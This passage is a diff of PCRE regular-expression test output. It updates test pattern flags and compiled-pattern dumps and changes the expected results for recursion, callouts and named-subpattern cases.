 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'c'
 
-/a+?+/
+/a+?+/I
 Failed: nothing to repeat at offset 3
 
-/a{2,3}?+b/
+/a{2,3}?+b/I
 Failed: nothing to repeat at offset 7
 
-/(?U)a+?+/
+/(?U)a+?+/I
 Failed: nothing to repeat at offset 7
 
-/a{2,3}?+b/U
+/a{2,3}?+b/IU
 Failed: nothing to repeat at offset 7
 
-/x(?U)a++b/D
+/x(?U)a++b/DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3     x
-  5   5 Once
-  8     a+
- 10   5 Ket
- 13     b
- 15  15 Ket
- 18     End
+        Bra
+        x
+        a++
+        b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -3146,16 +3137,14 @@
     xaaaab
  0: xaaaab
 
-/(?U)xa++b/D
+/(?U)xa++b/DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3     x
-  5   5 Once
-  8     a+
- 10   5 Ket
- 13     b
- 15  15 Ket
- 18     End
+        Bra
+        x
+        a++
+        b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -3165,26 +3154,26 @@
     xaaaab
  0: xaaaab
 
-/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/D
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/DZ
 ------------------------------------------------------------------
-  0 106 Bra 0
-  3     ^
-  4  99 Bra 1
-  7   5 Bra 2
- 10     a+
- 12   5 Ket
- 15  37 Bra 3
- 18     [ab]+?
- 52  37 Ket
- 55  37 Bra 4
- 58     [bc]+
- 92  37 Ket
- 95   5 Bra 5
- 98     \w*
-100   5 Ket
-103  99 Ket
-106 106 Ket
-109     End
+        Bra
+        ^
+        CBra 1
+        CBra 2
+        a+
+        Ket
+        CBra 3
+        [ab]+?
+        Ket
+        CBra 4
+        [bc]+
+        Ket
+        CBra 5
+        \w*
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 5
 Partial matching not supported
@@ -3192,15 +3181,15 @@
 No first char
 No need char
 
-/^x(?U)a+b/D
+/^x(?U)a+b/DZ
 ------------------------------------------------------------------
-  0  10 Bra 0
-  3     ^
-  4     x
-  6     a+?
-  8     b
- 10  10 Ket
- 13     End
+        Bra
+        ^
+        x
+        a++
+        b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -3208,17 +3197,17 @@
 No first char
 Need char = 'b'
 
-/^x(?U)(a+)b/D
+/^x(?U)(a+)b/DZ
 ------------------------------------------------------------------
-  0  16 Bra 0
-  3     ^
-  4     x
-  6   5 Bra 1
-  9     a+?
- 11   5 Ket
- 14     b
- 16  16 Ket
- 19     End
+        Bra
+        ^
+        x
+        CBra 1
+        a+?
+        Ket
+        b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -3226,79 +3215,76 @@
 No first char
 Need char = 'b'
 
-/[.x.]/
+/[.x.]/I
 Failed: POSIX collating elements are not supported at offset 0
 
-/[=x=]/
+/[=x=]/I
 Failed: POSIX collating elements are not supported at offset 0
 
-/[:x:]/
+/[:x:]/I
 Failed: POSIX named classes are supported only within a class at offset 0
 
-/\l/
+/\l/I
 Failed: PCRE does not support \L, \l, \N, \U, or \u at offset 1
 
-/\L/
+/\L/I
 Failed: PCRE does not support \L, \l, \N, \U, or \u at offset 1
 
-/\N{name}/
+/\N{name}/I
 Failed: PCRE does not support \L, \l, \N, \U, or \u at offset 1
 
-/\u/
+/\u/I
 Failed: PCRE does not support \L, \l, \N, \U, or \u at offset 1
 
-/\U/
+/\U/I
 Failed: PCRE does not support \L, \l, \N, \U, or \u at offset 1
 
-/[/
+/[/I
 Failed: missing terminating ] for character class at offset 1
 
-/[a-/
+/[a-/I
 Failed: missing terminating ] for character class at offset 3
 
-/[[:space:]/
+/[[:space:]/I
 Failed: missing terminating ] for character class at offset 10
 
-/[\s]/DM
-Memory allocation (code space): 40
+/[\s]/IDZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x09\x0a\x0c\x0d ]
- 36  36 Ket
- 39     End
+        Bra
+        [\x09\x0a\x0c\x0d ]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[[:space:]]/DM
-Memory allocation (code space): 40
+/[[:space:]]/IDZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x09-\x0d ]
- 36  36 Ket
- 39     End
+        Bra
+        [\x09-\x0d ]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[[:space:]abcde]/DM
-Memory allocation (code space): 40
+/[[:space:]abcde]/IDZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x09-\x0d a-e]
- 36  36 Ket
- 39     End
+        Bra
+        [\x09-\x0d a-e]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/< (?: (?(R) \d++  | [^<>]*+) | (?R)) * >/x
+/< (?: (?(R) \d++  | [^<>]*+) | (?R)) * >/Ix
 Capturing subpattern count = 0
 Partial matching not supported
 Options: extended
@@ -3312,37 +3298,35 @@
  0: <abc <123> hij>
     <abc <def> hij>
  0: <def>
-    <abc<>def> 
+    <abc<>def>
  0: <abc<>def>
-    <abc<>      
+    <abc<>
  0: <>
     *** Failers
 No match
     <abc
 No match
 
-|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|DM
-Memory allocation (code space): 826
+|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|IDZ
 ------------------------------------------------------------------
-  0 822 Bra 0
-  3     8J$WE<.rX+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
-821     \b
-822 822 Ket
-825     End
+        Bra
+        8J$WE<.rX+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
+        \b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = '8'
 Need char = 'X'
 
-|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|DM
-Memory allocation (code space): 816
+|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|IDZ
 ------------------------------------------------------------------
-  0 812 Bra 0
-  3     $<.X+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
-811     \b
-812 812 Ket
-815     End
+        Bra
+        $<.X+ix[d1b!H#?vV0vrK:ZH1=2M>iV;?aPhFB<*vW@QW@sO9}cfZA-i'w%hKd6gt1UJP,15_#QY$M^Mss_U/]&LK9[5vQub^w[KDD<EjmhUZ?.akp2dF>qmj;2}YWFdYx.Ap]hjCPTP(n28k+3;o&WXqs/gOXdr$:r'do0;b4c(f_Gr="\4)[01T7ajQJvL$W~mL_sS/4h:x*[ZN=KLs&L5zX//>it,o:aU(;Z>pW&T7oP'2K^E:x9'c[%z-,64JQ5AeH_G#KijUKghQw^\vea3a?kka_G$8#`*kynsxzBLru']k_[7FrVx}^=$blx>s-N%j;D*aZDnsw:YKZ%Q.Kne9#hP?+b3(SOvL,^;&u5@?5C5Bhb=m-vEh_L15Jl]U)0RP6{q%L^_z5E'Dw6X
+        \b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -3363,7 +3347,7 @@
 No options
 First char at start or follows newline
 No need char
-    
+
 /(.*)\d+\1/Is
 Capturing subpattern count = 1
 Max back reference = 1
@@ -3398,7 +3382,7 @@
  0: bc123bc
  1: bc
  2: bc
-    
+
 /a[b]/I
 Capturing subpattern count = 0
 No options
@@ -3412,7 +3396,7 @@
 First char = 'a'
 No need char
 
-/(?=abc).xyz/iI
+/(?=abc).xyz/IiI
 Capturing subpattern count = 0
 Options: caseless
 First char = 'a' (caseless)
@@ -3454,26 +3438,26 @@
 No first char
 Need char = 'a'
 
-/(?(1)ab|ac)/I
-Capturing subpattern count = 0
+/(?(1)ab|ac)(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/(?(1)abz|acz)/I
-Capturing subpattern count = 0
+/(?(1)abz|acz)(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'z'
 
-/(?(1)abz)/I
-Capturing subpattern count = 0
+/(?(1)abz)(.)/I
+Capturing subpattern count = 1
 No options
 No first char
 No need char
 
-/(?(1)abz)123/I
-Capturing subpattern count = 0
+/(?(1)abz)(1)23/I
+Capturing subpattern count = 1
 No options
 No first char
 Need char = '3'
@@ -3540,18 +3524,18 @@
 First char = 'a'
 Need char = 'b'
 
-/^a/mI
+/^a/Im
 Capturing subpattern count = 0
 Options: multiline
 First char at start or follows newline
 Need char = 'a'
   abcde
  0: a
-  xy\nabc 
+  xy\nabc
  0: a
-  *** Failers 
+  *** Failers
 No match
-  xyabc 
+  xyabc
 No match
 
 /c|abc/I
@@ -3574,7 +3558,7 @@
 Need char = 'd' (caseless)
 Starting byte set: a b 
 
-/abc(?C)def/
+/abc(?C)def/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -3583,7 +3567,7 @@
 --->abcdef
   0 ^  ^       d
  0: abcdef
-    1234abcdef 
+    1234abcdef
 --->1234abcdef
   0     ^  ^       d
  0: abcdef
@@ -3591,12 +3575,12 @@
 No match
     abcxyz
 No match
-    abcxyzf   
+    abcxyzf
 --->abcxyzf
   0 ^  ^        d
 No match
 
-/abc(?C)de(?C1)f/
+/abc(?C)de(?C1)f/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -3606,8 +3590,8 @@
   0    ^  ^       d
   1    ^    ^     f
  0: abcdef
-    
-/(?C1)\dabc(?C2)def/ 
+
+/(?C1)\dabc(?C2)def/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -3622,7 +3606,7 @@
  0: 4abcdef
     *** Failers
 No match
-    abcdef 
+    abcdef
 --->abcdef
   1 ^          \d
   1  ^         \d
@@ -3631,23 +3615,23 @@
   1     ^      \d
   1      ^     \d
 No match
-    
-/(?C255)ab/
+
+/(?C255)ab/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'b'
 
-/(?C256)ab/
+/(?C256)ab/I
 Failed: number after (?C is > 255 at offset 6
 
-/(?Cab)xx/ 
+/(?Cab)xx/I
 Failed: closing ) for (?C expected at offset 3
 
-/(?C12vr)x/
+/(?C12vr)x/I
 Failed: closing ) for (?C expected at offset 5
 
-/abc(?C)def/
+/abc(?C)def/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -3659,7 +3643,7 @@
   0         ^  ^       d
  0: abcdef
 
-/(abc)(?C)de(?C1)f/
+/(abc)(?C)de(?C1)f/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
@@ -3670,7 +3654,7 @@
   1    ^    ^     f
  0: abcdef
  1: abc
-    123abcdef\C+ 
+    123abcdef\C+
 Callout 0: last capture = 1
  0: <unset>
  1: abc
@@ -3683,18 +3667,18 @@
        ^    ^     f
  0: abcdef
  1: abc
-    123abcdef\C- 
+    123abcdef\C-
  0: abcdef
  1: abc
     *** Failers
 No match
-    123abcdef\C!1 
+    123abcdef\C!1
 --->123abcdef
   0    ^  ^       d
   1    ^    ^     f
 No match
-    
-/(?C0)(abc(?C1))*/
+
+/(?C0)(abc(?C1))*/I
 Capturing subpattern count = 1
 No options
 No first char
@@ -3707,7 +3691,7 @@
   1 ^        ^    )
  0: abcabcabc
  1: abc
-    abcabc\C!1!3   
+    abcabc\C!1!3
 --->abcabc
   0 ^          (abc(?C1))*
   1 ^  ^       )
@@ -3718,7 +3702,7 @@
 --->*** Failers
   0 ^               (abc(?C1))*
  0: 
-    abcabcabc\C!1!3   
+    abcabcabc\C!1!3
 --->abcabcabc
   0 ^             (abc(?C1))*
   1 ^  ^          )
@@ -3727,7 +3711,7 @@
  0: abcabc
  1: abc
 
-/(\d{3}(?C))*/
+/(\d{3}(?C))*/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -3752,7 +3736,7 @@
     ^     ^    )
  0: 123456
  1: 456
-    123456789\C+  
+    123456789\C+
 Callout 0: last capture = -1
  0: <unset>
 --->123456789
@@ -3770,7 +3754,7 @@
  0: 123456789
  1: 789
 
-/((xyz)(?C)p|(?C1)xyzabc)/
+/((xyz)(?C)p|(?C1)xyzabc)/I
 Capturing subpattern count = 2
 No options
 First char = 'x'
@@ -3789,7 +3773,7 @@
  0: xyzabc
  1: xyzabc
 
-/(X)((xyz)(?C)p|(?C1)xyzabc)/
+/(X)((xyz)(?C)p|(?C1)xyzabc)/I
 Capturing subpattern count = 3
 No options
 First char = 'X'
@@ -3811,7 +3795,7 @@
  1: X
  2: xyzabc
 
-/(?=(abc))(?C)abcdef/
+/(?=(abc))(?C)abcdef/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
@@ -3824,13 +3808,13 @@
     ^          a
  0: abcdef
  1: abc
-    
-/(?!(abc)(?C1)d)(?C2)abcxyz/
+
+/(?!(abc)(?C1)d)(?C2)abcxyz/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'z'
-    abcxyz\C+ 
+    abcxyz\C+
 Callout 1: last capture = 1
  0: <unset>
  1: abc
@@ -3842,7 +3826,7 @@
     ^          a
  0: abcxyz
 
-/(?<=(abc)(?C))xyz/
+/(?<=(abc)(?C))xyz/I
 Capturing subpattern count = 1
 No options
 First char = 'x'
@@ -3855,8 +3839,8 @@
        ^       )
  0: xyz
  1: abc
-   
-/a(b+)(c*)(?C1)/
+
+/a(b+)(c*)(?C1)/I
 Capturing subpattern count = 2
 Partial matching not supported
 No options
@@ -3882,7 +3866,7 @@
 Callout data = 1
 No match
 
-/a(b+?)(c*?)(?C1)/
+/a(b+?)(c*?)(?C1)/I
 Capturing subpattern count = 2
 Partial matching not supported
 No options
@@ -3907,36 +3891,36 @@
   1 ^        ^    
 Callout data = 1
 No match
-   
-/(?C)abc/ 
+
+/(?C)abc/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'c'
 
-/(?C)^abc/
+/(?C)^abc/I
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/(?C)a|b/S
+/(?C)a|b/IS
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 Starting byte set: a b 
 
-/(?R)/
+/(?R)/I
 Failed: recursive call could loop indefinitely at offset 3
 
-/(a|(?R))/
+/(a|(?R))/I
 Failed: recursive call could loop indefinitely at offset 6
 
-/(ab|(bc|(de|(?R))))/
+/(ab|(bc|(de|(?R))))/I
 Failed: recursive call could loop indefinitely at offset 15
 
-/x(ab|(bc|(de|(?R))))/
+/x(ab|(bc|(de|(?R))))/I
 Capturing subpattern count = 3
 No options
 First char = 'x'
@@ -3965,16 +3949,16 @@
  3: xxab
     *** Failers
 No match
-    xyab   
+    xyab
 No match
 
-/(ab|(bc|(de|(?1))))/
+/(ab|(bc|(de|(?1))))/I
 Failed: recursive call could loop indefinitely at offset 15
 
-/x(ab|(bc|(de|(?1)x)x)x)/
+/x(ab|(bc|(de|(?1)x)x)x)/I
 Failed: recursive call could loop indefinitely at offset 16
 
-/^([^()]|\((?1)*\))*$/
+/^([^()]|\((?1)*\))*$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
@@ -3985,15 +3969,15 @@
     a(b)c
  0: a(b)c
  1: c
-    a(b(c))d  
+    a(b(c))d
  0: a(b(c))d
  1: d
     *** Failers)
 No match
-    a(b(c)d  
+    a(b(c)d
 No match
 
-/^>abc>([^()]|\((?1)*\))*<xyz<$/
+/^>abc>([^()]|\((?1)*\))*<xyz<$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
@@ -4008,43 +3992,43 @@
  0: >abc>(1(2)3)<xyz<
  1: (1(2)3)
 
-/(a(?1)b)/D
+/(a(?1)b)/DZ
 ------------------------------------------------------------------
-  0  22 Bra 0
-  3  16 Bra 1
-  6     a
-  8   6 Once
- 11   3 Recurse
- 14   6 Ket
- 17     b
- 19  16 Ket
- 22  22 Ket
- 25     End
+        Bra
+        CBra 1
+        a
+        Once
+        Recurse
+        Ket
+        b
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'b'
 
-/(a(?1)+b)/D
+/(a(?1)+b)/DZ
 ------------------------------------------------------------------
-  0  22 Bra 0
-  3  16 Bra 1
-  6     a
-  8   6 Once
- 11   3 Recurse
- 14   6 KetRmax
- 17     b
- 19  16 Ket
- 22  22 Ket
- 25     End
+        Bra
+        CBra 1
+        a
+        Once
+        Recurse
+        KetRmax
+        b
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'b'
 
-/^\W*(?:((.)\W*(?1)\W*\2|)|((.)\W*(?3)\W*\4|\W*.\W*))\W*$/i
+/^\W*(?:((.)\W*(?1)\W*\2|)|((.)\W*(?3)\W*\4|\W*.\W*))\W*$/Ii
 Capturing subpattern count = 4
 Max back reference = 4
 Partial matching not supported
@@ -4067,7 +4051,7 @@
  2: <unset>
  3: A man, a plan, a canal: Panama
  4: A
-    Able was I ere I saw Elba. 
+    Able was I ere I saw Elba.
  0: Able was I ere I saw Elba.
  1: <unset>
  2: <unset>
@@ -4075,10 +4059,10 @@
  4: A
     *** Failers
 No match
-    The quick brown fox  
+    The quick brown fox
 No match
-    
-/^(\d+|\((?1)([+*-])(?1)\)|-(?1))$/
+
+/^(\d+|\((?1)([+*-])(?1)\)|-(?1))$/I
 Capturing subpattern count = 2
 Partial matching not supported
 Options: anchored
@@ -4098,8 +4082,8 @@
 No match
     ((2+2)*-3)-7)
 No match
-         
-/^(x(y|(?1){2})z)/
+
+/^(x(y|(?1){2})z)/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
@@ -4108,7 +4092,7 @@
  0: xyz
  1: xyz
  2: y
-    xxyzxyzz 
+    xxyzxyzz
  0: xxyzxyzz
  1: xxyzxyzz
  2: xyzxyz
@@ -4116,10 +4100,10 @@
 No match
     xxyzz
 No match
-    xxyzxyzxyzz   
+    xxyzxyzxyzz
 No match
 
-/((< (?: (?(R) \d++  | [^<>]*+) | (?2)) * >))/x
+/((< (?: (?(R) \d++  | [^<>]*+) | (?2)) * >))/Ix
 Capturing subpattern count = 2
 Partial matching not supported
 Options: extended
@@ -4141,11 +4125,11 @@
  0: <def>
  1: <def>
  2: <def>
-    <abc<>def> 
+    <abc<>def>
  0: <abc<>def>
  1: <abc<>def>
  2: <abc<>def>
-    <abc<>      
+    <abc<>
  0: <>
  1: <>
  2: <>
@@ -4154,13 +4138,13 @@
     <abc
 No match
 
-/(?1)/
+/(?1)/I
 Failed: reference to non-existent subpattern at offset 3
 
-/((?2)(abc)/
-Failed: reference to non-existent subpattern at offset 4
+/((?2)(abc)/I
+Failed: missing ) at offset 10
 
-/^(abc)def(?1)/
+/^(abc)def(?1)/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
@@ -4169,7 +4153,7 @@
  0: abcdefabc
  1: abc
 
-/^(a|b|c)=(?1)+/
+/^(a|b|c)=(?1)+/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
@@ -4180,11 +4164,11 @@
     a=b
  0: a=b
  1: a
-    a=bc  
+    a=bc
  0: a=bc
  1: a
 
-/^(a|b|c)=((?1))+/
+/^(a|b|c)=((?1))+/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
@@ -4197,26 +4181,26 @@
  0: a=b
  1: a
  2: b
-    a=bc  
+    a=bc
  0: a=bc
  1: a
  2: c
 
-/a(?P<name1>b|c)d(?P<longername2>e)/D
+/a(?P<name1>b|c)d(?P<longername2>e)/DZ
 ------------------------------------------------------------------
-  0  28 Bra 0
-  3     a
-  5   5 Bra 1
-  8     b
- 10   5 Alt
- 13     c
- 15  10 Ket
- 18     d
- 20   5 Bra 2
- 23     e
- 25   5 Ket
- 28  28 Ket
- 31     End
+        Bra
+        a
+        CBra 1
+        b
+        Alt
+        c
+        Ket
+        d
+        CBra 2
+        e
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Named capturing subpatterns:
@@ -4229,28 +4213,28 @@
  0: abde
  1: b
  2: e
-    acde 
+    acde
  0: acde
  1: c
  2: e
 
-/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/D
+/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/DZ
 ------------------------------------------------------------------
-  0  35 Bra 0
-  3  21 Bra 0
-  6     a
-  8  13 Bra 1
- 11     c
- 13   5 Bra 2
- 16     d
- 18   5 Ket
- 21  13 Ket
- 24  21 Ket
- 27   5 Bra 3
- 30     a
- 32   5 Ket
- 35  35 Ket
- 38     End
+        Bra
+        Bra
+        a
+        CBra 1
+        c
+        CBra 2
+        d
+        Ket
+        Ket
+        Ket
+        CBra 3
+        a
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 3
 Named capturing subpatterns:
@@ -4261,23 +4245,23 @@
 First char = 'a'
 Need char = 'a'
 
-/(?P<a>a)...(?P=a)bbb(?P>a)d/D
+/(?P<a>a)...(?P=a)bbb(?P>a)d/DZ
 ------------------------------------------------------------------
-  0  34 Bra 0
-  3   5 Bra 1
-  6     a
-  8   5 Ket
- 11     Any
- 12     Any
- 13     Any
- 14     \1
- 17     bbb
- 23   6 Once
- 26   3 Recurse
- 29   6 Ket
- 32     d
- 34  34 Ket
- 37     End
+        Bra
+        CBra 1
+        a
+        Ket
+        Any
+        Any
+        Any
+        \1
+        bbb
+        Once
+        Recurse
+        Ket
+        d
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Max back reference = 1
@@ -4287,7 +4271,7 @@
 First char = 'a'
 Need char = 'd'
 
-/^\W*(?:(?P<one>(?P<two>.)\W*(?P>one)\W*(?P=two)|)|(?P<three>(?P<four>.)\W*(?P>three)\W*(?P=four)|\W*.\W*))\W*$/i
+/^\W*(?:(?P<one>(?P<two>.)\W*(?P>one)\W*(?P=two)|)|(?P<three>(?P<four>.)\W*(?P>three)\W*(?P=four)|\W*.\W*))\W*$/Ii
 Capturing subpattern count = 4
 Max back reference = 4
 Named capturing subpatterns:
@@ -4315,7 +4299,7 @@
  2: <unset>
  3: A man, a plan, a canal: Panama
  4: A
-    Able was I ere I saw Elba. 
+    Able was I ere I saw Elba.
  0: Able was I ere I saw Elba.
  1: <unset>
  2: <unset>
@@ -4323,10 +4307,10 @@
  4: A
     *** Failers
 No match
-    The quick brown fox  
+    The quick brown fox
 No match
-    
-/((?(R)a|b))\1(?1)?/
+
+/((?(R)a|b))\1(?1)?/I
 Capturing subpattern count = 1
 Max back reference = 1
 No options
@@ -4335,18 +4319,18 @@
   bb
  0: bb
  1: b
-  bbaa 
+  bbaa
  0: bba
  1: b
 
-/(.*)a/sI
+/(.*)a/Is
 Capturing subpattern count = 1
 Partial matching not supported
 Options: anchored dotall
 No first char
 Need char = 'a'
 
-/(.*)a\1/sI
+/(.*)a\1/Is
 Capturing subpattern count = 1
 Max back reference = 1
 Partial matching not supported
@@ -4354,7 +4338,7 @@
 No first char
 Need char = 'a'
 
-/(.*)a(b)\2/sI
+/(.*)a(b)\2/Is
 Capturing subpattern count = 2
 Max back reference = 2
 Partial matching not supported
@@ -4362,14 +4346,14 @@
 No first char
 Need char = 'b'
 
-/((.*)a|(.*)b)z/sI
+/((.*)a|(.*)b)z/Is
 Capturing subpattern count = 3
 Partial matching not supported
 Options: anchored dotall
 No first char
 Need char = 'z'
 
